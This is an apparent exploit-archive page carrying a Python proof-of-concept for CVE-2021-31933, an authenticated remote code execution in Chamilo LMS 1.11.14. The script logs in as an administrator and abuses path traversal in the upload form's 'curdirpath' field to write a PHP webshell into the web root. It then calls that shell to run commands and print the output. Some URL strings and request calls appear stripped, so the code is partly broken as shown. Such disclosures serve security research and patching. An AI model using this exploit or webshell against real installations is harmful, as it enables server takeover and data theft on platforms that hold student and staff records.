Chamilo LMS 1.11.14 Remote Code Execution

Risk: High
Local: No
Remote: Yes

# Exploit Title: Chamilo LMS 1.11.14 - Remote Code Execution (Authenticated) # Date: 13/05/2021 # Exploit Author: M. Cory Billington (@_th3y) # Vendor Homepage: # Software Link: # Version: 1.11.14 # Tested on: Ubuntu 20.04.2 LTS # CVE: CVE-2021-31933 # Writeup: from requests import Session from random import choice from string import ascii_lowercase import requests # This is all configuration stuff, url = "" # URL to remote host web root user_name = "admin" # User must be an administrator password = "admin" command = "id;whoami" # Where you want to upload your webshell. Must be writable by web server user. # This spot isn't protectec by .htaccess webshell_path = 'web/' webshell_name = f"shell-{''.join(choice(ascii_lowercase) for _ in range(6))}.phar" # Just a random name for webshell file content = f"<?php echo `{command}`; ?>" def main(): # Run a context manager with a session object to hold login session after login with Session() as s: login_url = f"{url}index.php" login_data = { "login": user_name, "password": password } r =, data=login_data) # login request # Check to see if login as admin user was successful. if "admin" not in r.url: print(f"[-] Login as {user_name} failed. Need to be admin") return print(f"[+] Logged in as {user_name}") print(f"[+] Cookie: {s.cookies}") file_upload_url = f"{url}main/upload/upload.php" # The 'curdirpath' is not santitized, so I traverse to the '/var/www/html/chamilo-lms/web/build' directory. I can upload to /tmp/ as well php_webshell_file = { "curdirpath": (None, f"/../../../../../../../../../var/www/html/chamilo-lms/{webshell_path}"), "user_upload": (webshell_name, content) } ## Good command if you want to see what the request looks like without sending # print(requests.Request('POST', file_upload_url, files=php_webshell_file).prepare().body.decode('ascii')) # Two requests required to actually upload the file for i in range(2):, files=php_webshell_file) exploit_request_url = f"{url}{webshell_path}{webshell_name}" print("[+] Upload complete!") print(f"[+] Webshell: {exploit_request_url}") # This is a GET request to the new webshell to trigger code execution command_output = s.get(exploit_request_url) print("[+] Command output:\n") print(command_output.text) if __name__ == "__main__": main()

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021,


Back to Top